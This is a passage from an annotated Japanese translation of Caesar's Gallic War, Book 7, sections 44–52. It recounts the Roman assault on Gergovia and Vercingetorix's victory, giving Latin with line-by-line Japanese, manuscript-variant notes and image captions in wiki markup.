**それは、前日には、（ガッリア勢の）大勢の者たちのためにほとんど見分けが付けられないものだった。
*②　Admiratus quaerit ex perfugis causam, 
**（カエサルは）驚いて、（ゲルゴウィアからの）[[w:脱走兵|脱走兵]]たちに理由を尋ねた。
*quorum magnus ad eum cotidie numerus confluebat. 
**その者たちの多数は、毎日、彼（カエサル）のところへ群がり集まっていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#14節|14節]]⑨項で既述のように、ガッリア勢は[[w:兵役逃れ|兵役忌避]]の多さに悩まされていた。）&lt;/span&gt;
*③　Constabat inter omnes 
**（脱走兵たち）皆の間では同じ意見であった。
*─ quod iam ipse Caesar per exploratores cognoverat ─ 
**─ すでにカエサル自身が偵察者たちを通して知っていたことであったが ─
*dorsum esse eius iugi prope aequum, sed silvestre&lt;ref&gt;silvestre はβ系写本の記述で、α系写本では hunc silvestrem となっている。&lt;/ref&gt; et angustum, 
**その尾根の背面はほぼ平地で、しかし森林におおわれて狭く、
*qua esset aditus ad alteram partem oppidi&lt;ref&gt;partem oppidi はα系写本の記述で、β系写本では oppidi partem となっている。&lt;/ref&gt;; 
**それによって城塞都市の別の方面への出入口となっている、と。
*④　vehementer huic illos loco&lt;ref&gt;vehementer huic illos loco はα系写本の記述で、β系写本では huic loco vehementer illos となっている。&lt;/ref&gt; timere nec iam aliter sentire, 
**この地帯を彼ら（ガッリア勢）が極度に恐れ、すでに感じていたことには、
*uno colle ab Romanis occupato, si alterum amisissent, 
**ローマ人によって一つの丘陵が占領されているので、もしもう一方をも失ったならば、
*quin paene circumvallati atque omni exitu et pabulatione interclusi viderentur; 
**（ゲルゴウィアが）ほとんど包囲されて、あらゆる出口と糧秣徴発を阻まれると思われたのである。
*ad hunc muniendum locum&lt;ref&gt;locum はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; omnes a [[w:la:Vercingetorix|Vercingetorige]] evocatos.
**この地帯の辺りを防御するために、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により総勢が召集されていたのだ、と。

===45節===
'''ローマ勢の陽動部隊が敵を引き付け、本隊が敵の本陣を目指す'''
*①　Hac re cognita Caesar mittit complures equitum turmas eodem&lt;ref&gt;eodem はβ系写本の記述で、α系写本では eisdem などとなっており、またモイゼル（Meusel）は eo de と解釈している。&lt;/ref&gt; media nocte; 
**この事を知って、カエサルは多数の[[w:騎兵|騎兵]]&lt;ruby&gt;&lt;rb&gt;小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を同じところに真夜中に派遣した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：騎兵小隊 turma は、ローマの同盟部族などからなる騎兵の単位で、30騎ほどからなるとされている。）&lt;/span&gt;
*imperat his&lt;ref&gt;his はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; ut paulo tumultuosius omnibus locis vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では pervagentur となっている。&lt;/ref&gt;. 
**彼らには、いくらか騒々しく、あらゆる場所を動き回るように命令した。
*②　Prima luce magnum numerum impedimentorum ex castris mulorumque produci deque his stramenta detrahi 
**夜明けに、陣営から多数の荷馬や[[w:ラバ|ラバ]]を連れ出して、これらから[[w:鞍|荷鞍]]を取り去って、
*mulionesque cum cassidibus equitum specie ac simulatione collibus circumvehi iubet. 
**ラバ引きの者たちを鉄兜とともに、騎兵の外見と真似をさせて、丘々を乗り回すことを命じた。
*③　His paucos addit equites, qui latius ostentationis causa vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では vagentur となっている。&lt;/ref&gt;. 
**彼らに少数の騎兵を付き添わせて、より広く見せびらかすために動き回らせた。
*Longo circuitu easdem omnes iubet petere regiones. 
**（ラバ引きと騎兵の）皆には、長く迂回して、同じ一帯を目指すことを命じた。
*④　Haec procul ex oppido videbantur, ut erat a Gergovia despectus in castra, 
**これらは&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から遠くに望見され、ゲルゴウィアから（ローマ勢の）陣営が眺められたほどであったが、
*neque tanto spatio certi quid esset explorari poterat. 
**これほどの距離のために（ガッリア勢からは）何ごとか確かなことは探り出されなかった。
*⑤　Legionem unam eodem iugo mittit 
**（カエサルは）1個[[w:ローマ軍団|軍団]]を同じ尾根に派遣して、
*et paulum progressam inferiore constituit loco silvisque occultat. 
**いくらか前進させて低い場所に駐留させ、森林に隠した。
*⑥　Augetur Gallis suspicio 
**（これらを見た）ガッリア人には疑念が増されて、
*atque omnes illo ad munitionem copiae traducuntur. 
**軍勢のすべてがあそこ（＝無人にしていた急所の丘陵）へ防御のために移動した。
*⑦　Vacua castra hostium Caesar conspicatus 
**カエサルは敵たちの（ゲルゴウィア山頂の）陣営が空であると気付いて、
*tectis insignibus suorum occultatisque signis militaribus 
**配下の者たちの標章を覆い隠し、軍旗を隠して、
*raros milites, ne ex oppido animadverterentur, ex maioribus castris in minora traducit 
**兵士たちをまばらに、城塞都市から気付かれないように、大きい方の陣営から小さい方に移動させた。
*legatisque, quos singulis legionibus praefecerat, quid fieri velit, ostendit; 
**個々の軍団を指揮させていた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、何がなされることを欲しているかを示した。
*⑧　in primis monet ut contineant milites, 
**第一に、兵士たちを抑え留めるように戒めた。
*ne studio pugnandi aut spe praedae longius progrediantur; 
**（兵士たちが）戦うことの熱意、あるいは略奪の希望により、より遠くまで進み出ないように、と。
*⑨　quid iniquitas loci habeat incommodi proponit; 
**地勢の不利がどれほど敗北を生じるかを示した。
*hoc una celeritate posse vitari&lt;ref&gt;vitari はβ系写本の記述で、α系写本では mutari となっている。&lt;/ref&gt;; 
**迅速さのみがこれを避けることができる。
*occasionis esse rem, non proelii. 
**事の成否は、戦闘にではなく、好機にかかっている。
*⑩　His rebus expositis signum dat 
**これらの事柄を説明して、（副官たちに進軍の）号令を出した。
*et ab dextra parte alio ascensu eodem tempore Haeduos mittit.
**右の方面からは、別の登り道を（ローマ軍本隊と）同時に[[w:ハエドゥイ族|ハエドゥイー族]]（の騎兵）を派遣した。

===46節===
'''ローマ軍の本隊が防壁を越えて、敵陣の一部を占拠'''
*①　Oppidi murus ab&lt;ref&gt;ab はB･M･L･N写本の記述で、β系写本では a となっている。&lt;/ref&gt; planitie atque initio ascensus recta regione, 
**（ゲルゴウィアの）&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の城壁は、平地や登り道の始まりから真っ直ぐに（＝直線距離で）、
*si nullus amfractus&lt;ref&gt;amfractus はα系写本の記述で、β系写本では anfractus となっている。&lt;/ref&gt; intercederet, mille CC(mille ducenti)&lt;ref&gt;mille CC(=1200) はα系写本の記述で、β系写本では CC（=200）となっている。&lt;/ref&gt; passus aberat; 
**もし何らの湾曲が間になければ、1200[[w:パッスス|パッスス]]（＝約1.8km）離れていた。
*②　quicquid huc circuitus ad molliendum clivum accesserat&lt;ref&gt;accesserat は写本(ω)の記述だが、オットー・ゼール [[w:de:Otto Seel|Otto Seel]] の校訂では accesserit としている。&lt;/ref&gt;, 
**ここに（山の斜面の）傾斜を緩和するために、何らかの回り道が付け加わっていて、
*id spatium itineris augebat. 
**その道のりの距離を増していた。
*③　A medio fere colle in longitudinem, ut natura montis ferebat, 
**丘陵のほぼ真ん中から、山の地形が作り出したかのように、長きにわたって、
*ex grandibus saxis sex pedum murum qui nostrum&lt;ref&gt;nostrum は中世の写本(ω)の記述だが、近世の版では nostrorum となっている。&lt;/ref&gt; impetum tardaret, 
**大きな石垣からなる6[[w:ペース (長さ)|ペース]]（＝約1.8m）もの、我が方（ローマ勢）の突進を遅らせる防壁を、
*praeduxerant Galli, 
**ガッリア人は引いて来ており、
*atque inferiore omni spatio vacuo relicto 
**（その石垣の防壁）より下方のすべての空間は人気なく残されていて、
*superiorem partem collis usque ad murum oppidi densissimis castris compleverant. 
**丘陵のより上方の部分を、城塞都市の城壁の方へ続けざまに、とても密集した（各部族ごとの）陣営で満たしていた。
*④　Milites dato signo celeriter ad munitionem perveniunt 
**（ローマ人の）兵士たちは号令を与えられて、速やかに（石垣の）防壁のところへ到達して、
*eamque transgressi trinis castris potiuntur; 
**それを越えて行って、3つの（部族ごとの）陣営を占拠した。
*⑤　ac tanta fuit in castris capiendis&lt;ref&gt;castris capiendis はα系写本の記述で、β系写本では capiendis castris となっている。&lt;/ref&gt; celeritas, 
**（3つの）陣営を奪取することにおいて、これほどにも迅速さがあったので、
*ut Teutomatus, rex Nitiobrogum, subito in tabernaculo oppressus, 
**その結果、[[w:ニティオブロゲス族|ニティオブロゲス族]]の王[[w:テウトマトゥス|テウトマトゥス]]は、[[w:テント|天幕]]において突然に襲われて、
*ut meridie conquieverat, superiore corporis parte nudata&lt;ref&gt;nudata はα系写本の記述で、β系写本では nuda となっている。&lt;/ref&gt; 
**昼寝をしていたが、上半身は裸のままで、
*vulnerato equo vix se ex manibus praedantium militum eriperet.
**傷付けられた馬によって、略奪している（ローマ人）兵士の手から、やっと自らを救い出した。

===47節===
'''血気にはやるローマ兵たちの猪突猛進、ガッリア女たちの命乞い'''
*①　Consecutus id quod animo proposuerat 
**心に決めていたことを達成したので、
*Caesar receptui cani iussit 
**カエサルは退却ラッパを吹くことを命じた。
*legionique decimae, quacum erat, contionatus signa constituit. 
**彼とともにいた[[w:第10軍団エクェストリス|第10軍団]]に呼びかけて、軍旗を停止した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第10軍団はガッリア戦争初期からの最古参の軍団。軍旗を停止するとは、進軍を止めること。）&lt;/span&gt;
*②　Ac&lt;ref&gt;ac はα系写本の記述で、β系写本では at となっている。&lt;/ref&gt; reliquarum legionum milites non exaudito&lt;ref&gt;exaudito はα系写本の記述で、β系写本では audito となっている。&lt;/ref&gt; sono tubae, 
**ほかの[[w:ローマ軍団|軍団]]の兵士たちは、ラッパの響きを聞き取れなかった。
*quod satis magna valles intercedebat, 
**というのは、十分に大きな峡谷が間にあったからである。
*tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque, ut erat a Caesare praeceptum, retinebantur; 
**しかしながら、&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちにより、カエサルから指図されていたように、制止されていた。
*③　Sed elati spe celeris victoriae et hostium fuga et superiorum temporum secundis proeliis 
**だが（兵士たちは）迅速な勝利の希望や、敵たちの逃亡や、それ以前のときの順調な戦闘により、高慢になっていて、
*nihil adeo arduum sibi esse existimaverunt&lt;ref&gt;esse existimaverunt はα系写本の記述で、β系写本では existimabant となっている。&lt;/ref&gt;, quod non virtute consequi possent, 
**自分たちにとって、武勇で達することができないほどの困難なものはまったく何もない、と考えており、
*neque finem prius sequendi fecerunt quam muro oppidi portisque adpropinquarunt. 
**（ゲルゴウィアの）城塞都市の城壁や城門に近付くまでは、追及を終結させなかった。
*④　Tum vero ex omnibus urbis partibus orto clamore, 
**すると、まさに（ゲルゴウィアの）町のあらゆる方面から叫び声が発せられて、
*qui longius aberant, repentino tumultu perterriti, 
**（城内の）遠い方に離れていた者たちは、予期せぬ騒ぎに脅えており、
*cum hostem intra portas esse existimarent, 
**敵（＝ローマ人）が城門の内側にいると考えたので、
*sese ex oppido eiecerunt. 
**城塞都市から急ぎ出た。
*⑤　Matres familiae de muro vestem argentumque iactabant 
**家庭の母親たちは、城壁から衣類や貨幣をたびたび投げやった。
*et pectore nudo prominentes passis manibus obtestabantur Romanos, 
**そして胸を裸にして（城壁の上に）進み出て、手を伸ばしてローマ人たちに哀願した。
*ut sibi parcerent 
**自分たちを容赦するように、
*neu, sicut Avarici fecissent, ne a mulieribus quidem atque infantibus abstinerent; 
**（ローマ人が）アウァーリクムでしたように女たちや子供たちでさえも赦免しないことのないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ローマ人がアウァーリクムでした行為については、[[#28節|28節]]④項を参照。）&lt;/span&gt;
*⑥　nonnullae de muris&lt;ref&gt;muris はα系写本の記述で、β系写本では mure となっている。&lt;/ref&gt; per manus demissae sese militibus tradebant. 
**少なからぬ者たちは、城壁から手で降ろされて、（ローマ人）兵士たちに身を任せた。

[[画像:Gergovie_mur_pano2.jpg|thumb|center|700px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）で発掘された城壁の遺構。]]

*⑦　L.(Lucius) Fabius centurio legionis VIII(octavae), 
**[[w:第8軍団アウグスタ|第8軍団]]の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるルキウス・ファビウスは、
*quem inter suos eo die dixisse constabat 
**配下の者たちの間で、その日、（以下のように）言ったことが知られていた。
*excitari se Avaricensibus praemiis neque commissurum, ut prius quisquam murum ascenderet, 
**自分はアウァーリクムの恩賞に奮い立たせられて、何者かが（自分）より早く城壁を登るようなことは生じさせない、と。
*tres suos nactus manipulares 
**（ファビウスは）同じ隊の兵士である3人の配下と遭遇して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：manipulares は「[[w:マニプルス|歩兵中隊]]の」とも解されるが、ここでは「同じ隊の兵士」という意味であろう。）&lt;/span&gt;
*atque ab his sublevatus murum ascendit, 
**彼らによって持ち上げられて城壁を登った。
*hos&lt;ref&gt;hos はα系写本の記述で、π系写本では eos 、ρ系写本では eo となっている。&lt;/ref&gt; ipse rursus singulos exceptans in murum extulit.
**彼らは（ファビウス）自身が再び1人ずつ引き出して、城壁に導き上げた。

===48節===
'''ガッリア勢が城塞都市に引き返して、防戦に努める'''
*①　Interim hi&lt;ref&gt;hi はα系･π系･R写本の記述で、U写本では ii となっている。&lt;/ref&gt; qui ad alteram partem oppidi, ut supra demonstravimus, munitionis causa convenerant, 
**その間に、前に述べたように、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の別の方面へ、防御のために集結していた（ガッリア勢の）者たちは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#45節|45節]]⑥項で述べられている。）&lt;/span&gt;
*primo exaudito clamore, 
**初めに叫び声を聞き取り、
*inde etiam crebris nuntiis incitati oppidum ab Romanis teneri, 
**さらに、城塞都市がローマ人たちによって占領されたという頻繁な知らせにさえも駆り立てられて、
*praemissis equitibus magno concursu&lt;ref&gt;concursu はα系写本の記述で、β系写本では cursu となっている。&lt;/ref&gt; eo contenderunt. 
**[[w:騎兵|騎兵]]たちを先遣して、（歩兵たちも）駆けに駆けて、そこ（＝城塞都市）へ急いだ。

[[画像:Auvergne_Gaul_coin_CdM.jpg|thumb|right|300px|[[w:アルウェルニ族|アルウェルニー族]]の兵士が刻まれた貨幣（[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部所蔵）]]
*②　Eorum ut quisque primus venerat, 
**彼らの（城塞都市に）到着した者から順々に
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quisque primus「最初の者ごとに；順々に」）&lt;/span&gt;
*sub muro consistebat suorumque pugnantium numerum augebat. 
**城壁の下に陣取って、味方の戦う者たちの数を増した。
*③　Quorum cum magna multitudo convenisset, 
**その者たちの大群集が集結したときに、
*matres familiae quae paulo ante Romanis de muro manus tendebant, 
**少し前にはローマ人たちに城壁から手を差し出していた家庭の母親たちが
*suos obtestari 
**味方に哀願して、
*et more Gallico passum capillum ostentare liberosque in conspectum proferre coeperunt. 
**ガッリアの風習により、髪を広げて示し、子供たちを（男たちの）眼前に運び始めた。
*④　Erat Romanis nec loco nec numero aequa contentio; 
**ローマ人たちにとっては、地の利でも（兵の）数でも、対等な闘いはなかった。
*simul et cursu et spatio pugnae defatigati 
**と同時に、戦いの疾走や時間（の長さ）に疲弊させられていて、
*non facile recentes atque integros sustinebant.
**（ガッリア勢の）新来かつ無傷の者たちに、容易に持ちこたえられなかった。

===49節===
'''カエサルが劣勢の自軍に副官セクスティウスを増援する'''
*①　Caesar cum iniquo loco pugnari hostiumque augeri copias videret, 
**カエサルは（戦闘が自軍に）不利な場所で戦われていること、かつ敵方の軍勢が増やされていることを見たので、
*praemetuens suis 
**配下の者たちを気遣って、
*ad T.(Titum) Sextium legatum, quem minoribus castris praesidio reliquerat, misit, 
**小さい方の陣営に守備として残しておいた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスのところへ（伝令を）遣わして、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セクスティウスについては、すでに副官として[[ガリア戦記 第6巻#1節|第6巻1節]]で言及されている。）&lt;/span&gt;
*ut cohortes ex castris celeriter educeret 
**陣営から（いくつかの）&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を速やかに進発させるように、
*et sub infimo colle ab dextro latere hostium constitueret, 
**かつ丘陵のふもとの下方で、敵方の右の側面に布陣するように、と。
*②　ut, si nostros loco depulsos vidisset, quominus libere hostes insequerentur terreret. 
**もし我が方が（戦闘の）場所から追いやられたのを見たら、敵方が自由に追撃することにならぬよう脅かすためである。
*③　Ipse paulum ex eo loco cum legione progressus, ubi constiterat, 
**（カエサル）自身は、停止していた場所から、軍団とともに少し前進して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#47節|47節]]①項で既述のように、カエサルとともに停止していたのは[[w:第10軍団エクェストリス|第10軍団]]である。）&lt;/span&gt;
*eventum pugnae exspectabat.
**戦いの決着を待っていた。

===50節===
'''激戦の末、敗勢に陥るローマ軍'''
*①　Cum acerrime comminus pugnaretur, hostes loco et numero, nostri virtute confiderent, 
**（両軍により）激烈に格闘して戦われていて、敵方は地の利と（兵の）数を、我が方（ローマ軍）が武勇を頼りとしていたときに、
*subito sunt Haedui visi ab latere nostris aperto, 
**突如として、我が方にとって開けた側面（＝右側）から、[[w:ハエドゥイ族|ハエドゥイー族]]の者たち（の姿）が見られた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「開けた側面から」ab latere aperto とは、兵士の[[w:スクトゥム|長盾]]で覆われていない右側を指す。）&lt;/span&gt;
*quos Caesar ab dextra parte alio ascensu manus distinendae causa miserat. 
**カエサルがその者たちを右の方面から別の登り道により（敵の）部隊を分散しておくために派遣していたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この事は、[[#45節|45節]]⑩項で述べられている。）&lt;/span&gt;
*②　Hi similitudine armorum vehementer nostros perterruerunt, 
**彼らの武具が（ガッリア勢のものと）似ていることが、我が方（の兵士たち）を極度に怖れさせた。
*ac tametsi dextris humeris&lt;ref&gt;humeris が写本(ω)の記述であるが、umeris とするのも一般的となっている。&lt;/ref&gt; exsertis animadvertebantur, quod insigne pactum&lt;ref&gt;pactum はHellerによる修正提案で、写本(ω)では pacatum となっており、研究者たちにより他の修正も提案されている。&lt;/ref&gt; esse consuerat, 
**（ハエドゥイー勢は）右の肩を脱いでいるのが視認され、その印は（味方として）定められているのが常であったが、
*tamen id ipsum sui fallendi causa milites ab hostibus factum existimabant. 
**けれども（ローマ人の）兵士たちは、それ自体が自分たちを欺くために、敵方によりなされたと考えたのだ。

[[画像:Dorf_La_Roche_Blanche.JPG|thumb|right|300px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）の遠景（南方のル・クレスト [[w:fr:Le_Crest|Le Crest]] から撮影）。画像中央がローマ軍が小さい方の陣営を設置していたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La_Roche-Blanche_(Puy-de-Dôme)|La Roche Blanche]]）の丘陵で、山頂からこの丘陵の辺りが激戦地だったと思われる。現在は山麓にかけて住宅地が広がっている。]]

*③　Eodem tempore L.(Lucius) Fabius centurio quique una murum ascenderant, 
**同じ時に、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・ファビウスおよび一緒に城壁を登っていた者たちは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスらについては、[[#47節|47節]]⑦項で述べられている。）&lt;/span&gt;
*circumventi atque interfecti de&lt;ref&gt;de はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; muro praecipitabantur. 
**（ガッリア勢に）取り囲まれ、殺害されて、城壁から突き落とされた。
*④　M.(Marcus) Petronius, eiusdem legionis centurio, 
**同じ[[w:ローマ軍団|軍団]]の百人隊長マルクス・ペトロニウスは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスと同じ軍団とは、[[#47節|47節]]⑦項で述べられているように[[w:第8軍団アウグスタ|第8軍団]]である。）&lt;/span&gt;
*cum portas&lt;ref&gt;portas は写本(ω)の記述だが、portam と単数形にする修正も提案されている。&lt;/ref&gt; excidere conatus esset, 
**城門を突き破って出ることを試みていたときに、
*a multitudine oppressus ac sibi desperans multis iam vulneribus acceptis, 
**（敵の）大勢によって圧倒されて、すでに多くの傷を受けて自分に絶望しており、
*manipularibus suis, qui illum secuti erant&lt;ref&gt;secuti erant はα系写本の記述で、β系写本では erant secuti となっている。&lt;/ref&gt;, 
**彼に付き従っていた同じ隊の配下の者たちに、
*&quot;quoniam&quot; inquit &quot;me una vobiscum servare non possum, 
**曰く「私と諸君を一緒に救うことはできないのだから、
*vestrae quidem certe vitae prospiciam, quos cupiditate gloriae adductus in periculum deduxi. 
**せめて、栄誉の欲に引き寄せられて危険に引きずり込んでしまった諸君の生命にはきっと見通しを与えるであろう。
*⑤　Vos data facultate vobis consulite.&quot; 
**諸君は（生き延びる）可能性が与えられているから、諸君（自身）を助けたまえ。」
*Simul in medios hostes inrupit duobusque interfectis reliquos a porta paulum submovit. 
**と同時に、敵方の真ん中に押し入って、2名を殺害して、ほかの者たちを城門からいくらか退けた。
*⑥　Conantibus auxiliari suis 
**（ペトロニウスは自分の）支援を試みる配下の者たちに、
*&quot;frustra&quot; inquit &quot;meae vitae subvenire conamini, quem iam sanguis viresque deficiunt. 
**曰く「もはや血も活力も尽き果てた私の生命を助けることを試みているのは無益だ。
*Proinde abite, dum est facultas, vosque ad legionem recipite.&quot; 
**ゆえに（生き延びる）可能性がある間に立ち去れ。諸君は軍団のところへ退却せよ。」
*Ita pugnans post paulum&lt;ref&gt;paulum はα系･ρ系写本の記述で、π系写本では paululum となっており、paulo という修正提案もされている。&lt;/ref&gt; concidit ac suis saluti fuit.
**こうして（ペトロニウスは）戦って少し後で斃れ、配下の者たちにとっては救いとなった。

===51節===
[[画像:Monument_gergovie_fr.jpg|thumb|right|290px|[[w:ゲルゴウィアの戦い|ゲルゴウィア戦勝]]記念碑。[[w:1903年|1903年]]に[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]出身の建築家ジャン・テラール（[[w:fr:Jean Teillard|Jean Teillard]]）が、侵略者カエサルを撃退した郷土の英雄[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に捧げるためにジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）に建立したものである。]]
[[画像:Plaque_Napoléon_III_Gergovie.jpg|thumb|right|300px|[[w:ゲルゴウィアの戦い|ゲルゴウィア]]の地に残る銘板。フランス語で「[[w:ナポレオン3世|ナポレオン3世]]は、1862年のゲルゴウィアの[[w:オッピドゥム|城塞都市]]（跡）訪問の結果、メルドーニュ（Merdogne）の住民たちの要求に対して、1865年1月11日の政令によって、彼らの村にジェルゴヴィ（[[w:fr:Gergovie|Gergovie]]）の名を与えることを決定した。」&lt;!-- «A la suite de sa visite sur l'oppidum de Gergovia en 1862, Napoléon III, à la demande des habitants de Merdogne, décida d'attribuer à leur village le nom de Gergovie, par décret du 11 janvier 1865.»--&gt;]]
'''カエサルが一敗地に塗れる'''
*①　Nostri cum undique premerentur, 
**我が方（ローマ軍）は、至る所で圧倒されたので、
*XLVI(sex et quadraginta)&lt;ref&gt;XLVI はα系写本の記述で、β系写本では sex et XL となっている（どちらも46）。&lt;/ref&gt; centurionibus amissis deiecti sunt loco. 
**46名の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を失い、（激戦の）場所から追いやられた。
*Sed intolerantius Gallos insequentes 
**けれども、容赦なく追撃して来るガッリア人たちを
*legio decima tardavit, quae pro subsidio paulo aequiore loco constiterat. 
**予備部隊（もしくは要撃部隊）として、いくらか平らな所に陣取っていた[[w:第10軍団エクェストリス|第10軍団]]が妨げた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#47節|47節]]①項で既述のように、第10軍団はカエサルとともに待機していた。）&lt;/span&gt;
*②　Hanc rursus XIII(tertiae decimae) legionis cohortes exceperunt, 
**これ（＝第10軍団）をさらに、第13軍団の諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が支えた。
*quae ex castris minoribus eductae cum T.(Tito) Sextio legato ceperant locum&lt;ref&gt;ceperant locum はα系写本の記述で、β系写本では locum ceperant となっている。&lt;/ref&gt; superiorem. 
**それらは&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスとともに小さい方の陣営から進発してより高い所を占めていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#49節|49節]]を参照。）&lt;/span&gt;
*③　Legiones ubi primum planitiem attigerunt, 
**諸[[w:ローマ軍団|軍団]]は、平野に達するや否や、
*infestis contra hostes signis constiterunt. 
**敵方に抗して戦備を整えて陣取った。
*④　[[w:la:Vercingetorix|Vercingetorix]] ab radicibus collis suos intra munitiones reduxit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、配下の者たちを丘陵の麓から（ゲルゴウィアの）防備の内側に連れ戻した。
*Eo die milites sunt paulo minus [[wikt:la:Septingenti|septingenti]] desiderati.
**その日、（ローマ軍は）700名よりいくらか少ない兵士を失った。
&lt;br&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルとウェルキンゲトリークスは、たびたび交えた騎兵戦ではカエサルが勝っているが、&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;両軍の主力部隊である歩兵どうしが激突したこの戦闘は、地の利もあって、ウェルキンゲトリークスが完勝した。&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;カエサルは第8軍団など古参の部隊を投入しながら、歴戦の百人隊長と兵士たちを多く失った。）&lt;/span&gt;

===52節===
'''敗軍の将カエサルが兵士たちを責める'''
*①　Postero die Caesar contione advocata 
**翌日にカエサルは（兵士たちの）集会を召集して、
*temeritatem cupiditatemque militum&lt;ref&gt;cupiditatemque militum はα系写本の記述で、β系写本では militum cupiditatemque となっている。&lt;/ref&gt; reprehendit, 
**兵士たちの無思慮や功名心をとがめた。
*quod sibi ipsi iudicavissent, quo procedendum aut quid agendum videretur, 
